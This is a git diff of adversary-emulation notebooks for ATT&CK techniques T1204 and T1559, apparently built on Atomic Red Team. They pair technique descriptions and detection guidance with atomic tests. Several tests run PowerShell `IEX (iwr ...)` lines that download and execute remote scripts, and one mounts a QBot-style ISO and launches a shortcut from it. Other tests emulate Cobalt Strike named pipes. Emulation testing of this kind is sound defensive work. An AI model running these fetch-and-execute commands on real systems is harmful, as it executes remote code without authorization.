(AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)" }, { "cell_type": "markdown", - "id": "09072052", + "id": "16cb236b", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3a8dd788", + "id": "39149cc5", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Malicious Execution from Mounted ISO Image", + "Adversaries may rely on a user running a malicious image to facilitate execution", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\"\ncd $finalpath\n.\\calc.exe.lnk```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8fb7ea0a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1204.003 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "df4c9dae", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nstart-sleep -s 5\nstop-process -Name \"Calculatorapp\" -Force \ndismount-diskimage -ImagePath \"$env:TEMP\\qbot-test.iso\"```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "028e0736", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1204.003 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "a0dbdf00", "metadata": {}, "source": "## Detection\nMonitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images." } @@ -22,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1204.ipynb b/playbook/tactics/execution/T1204.ipynb index 76ff9603..3cca4ba5 100644 --- a/playbook/tactics/execution/T1204.ipynb +++ b/playbook/tactics/execution/T1204.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "71e3d0cf", + "id": "102e307b", "metadata": {}, "source": "# T1204 - User Execution\nAn adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)" }, { "cell_type": "markdown", - "id": "597b9d43", + "id": "714fcf14", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0f4d9a89", + "id": "60f2e339", "metadata": {}, "source": "## Detection\nMonitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe)." }, { "cell_type": "markdown", - "id": "9ac32a8c", + "id": "5fcaa8f4", "metadata": {}, "source": "\n## Shield Active Defense\n### Detonate Malware \n Execute malware under controlled conditions to analyze its functionality. \n\n An\u00a0execution environment can range from a somewhat sterile commercial malware execution appliance, to a bespoke system crafted to meet engagement goals. The execution environment will typically be highly instrumented and have special controls to ensure the experiment is contained and harmless to unrelated systems.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can execute adversary malware on a decoy system and examine its behaviors or potentially engage with the adversary to obtain further intelligence.\n#### Procedures\nTake malware received via spearphishing and detonate it on an isolated system in order to collect execution and network communication artifacts.\nDetonate a malware sample in a decoy network to engage with an adversary and study their TTPs.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1223.ipynb b/playbook/tactics/execution/T1223.ipynb deleted file mode 100644 index a325347a..00000000 --- a/playbook/tactics/execution/T1223.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8de81aba", - "metadata": {}, - "source": "# T1223 - Compiled HTML File\nCompiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)" - }, - { - "cell_type": "markdown", - "id": "db31ad73", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "8fb5e3a2", - "metadata": {}, - "source": "## Detection\nMonitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1559.001.ipynb b/playbook/tactics/execution/T1559.001.ipynb index cd408ce5..8cbba2f6 100644 --- a/playbook/tactics/execution/T1559.001.ipynb +++ b/playbook/tactics/execution/T1559.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "fc851afc", + "id": "900457ec", "metadata": {}, "source": "# T1559.001 - Component Object Model\nAdversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)" }, { "cell_type": "markdown", - "id": "632c8542", + "id": "030fec58", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c60abd34", + "id": "6ddd3a84", "metadata": {}, "source": "## Detection\nMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1559.002.ipynb b/playbook/tactics/execution/T1559.002.ipynb index 0ca846e7..cca21a1f 100644 --- a/playbook/tactics/execution/T1559.002.ipynb +++ b/playbook/tactics/execution/T1559.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d18df289", + "id": "66a4a94f", "metadata": {}, "source": "# T1559.002 - Dynamic Data Exchange\nAdversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)" }, { "cell_type": "markdown", - "id": "ff1d1584", + "id": "241f78c2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dc4a8332", + "id": "af1ee324", "metadata": {}, "source": [ "### Atomic Test #1 - Execute Commands", @@ -26,27 +26,27 @@ }, { "cell_type": "markdown", - "id": "4dac593a", + "id": "032ee9cc", "metadata": {}, "source": [ "### Atomic Test #2 - Execute PowerShell script via Word DDE", "When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nstart $PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\n```" + "```command_prompt\nstart \"$PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "330577ca", + "id": "44190118", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1559.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "5d9771ea", + "id": "53e74ae2", "metadata": {}, "source": [ "### Atomic Test #3 - DDEAUTO", @@ -58,7 +58,7 @@ }, { "cell_type": "markdown", - "id": "9c4080be", + "id": "ba28ccd7", "metadata": {}, "source": "## Detection\nMonitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )" } @@ -66,13 +66,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1559.003.ipynb b/playbook/tactics/execution/T1559.003.ipynb index 5ae36aee..481e243d 100644 --- a/playbook/tactics/execution/T1559.003.ipynb +++ b/playbook/tactics/execution/T1559.003.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "740ef070", + "id": "910c1e2d", "metadata": {}, "source": "# T1559.003 - XPC Services\nAdversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)." }, { "cell_type": "markdown", - "id": "4d8cb649", + "id": "869e3ac1", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1559.ipynb b/playbook/tactics/execution/T1559.ipynb index c4990b53..60389f9d 100644 --- a/playbook/tactics/execution/T1559.ipynb +++ b/playbook/tactics/execution/T1559.ipynb @@ -2,25 +2,180 @@ "cells": [ { "cell_type": "markdown", - "id": "d2c3f1c3", + "id": "9a4053c6", "metadata": {}, "source": "# T1559 - Inter-Process Communication\nAdversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)" }, { "cell_type": "markdown", - "id": "e0ed97a9", + "id": "2ab86767", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "58912bc6", + "id": "155258d1", + "metadata": {}, + "source": "### Atomic Test #1 - Cobalt Strike Artifact Kit pipe\nUses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Named pipe executors must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_client.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_server.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f1b1fb87", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "2a083c82", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 1\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a9b0de47", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "9677c46e", + "metadata": {}, + "source": "### Atomic Test #2 - Cobalt Strike Lateral Movement (psexec_psh) pipe\nUses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Named pipe executors must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_client.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_server.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0756c1f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "8ab7234f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 2\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "383855b9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "12528cd6", + "metadata": {}, + "source": "### Atomic Test #3 - Cobalt Strike SSH (postex_ssh) pipe\nUses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Named pipe executors must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_client.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_server.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "080dd68a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "32a324d9", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 3\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d38f6c34", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "68664408", + "metadata": {}, + "source": "### Atomic Test #4 - Cobalt Strike post-exploitation pipe (4.2 and later)\nUses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Named pipe executors must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_client.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_server.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fee2f7bc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b762f90f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 4\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26a65e83", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "dd99f9b5", + "metadata": {}, + "source": "### Atomic Test #5 - Cobalt Strike post-exploitation pipe (before 4.2)\nUses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Named pipe executors must exist on disk\n\n##### Check Prereq Commands:\n```cmd\nif ((Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\") -and (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_client.exe\") -and (\"Test-Path PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_server.exe\")) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "571e6077", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "32249b94", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 5\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "57589075", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1559 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "a821b2a6", "metadata": {}, "source": "## Detection\nMonitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms." }, { "cell_type": "markdown", - "id": "ea3526cb", + "id": "bb99ffbd", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can modify system calls to break communications, route things to decoy systems, prevent full execution, etc.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of 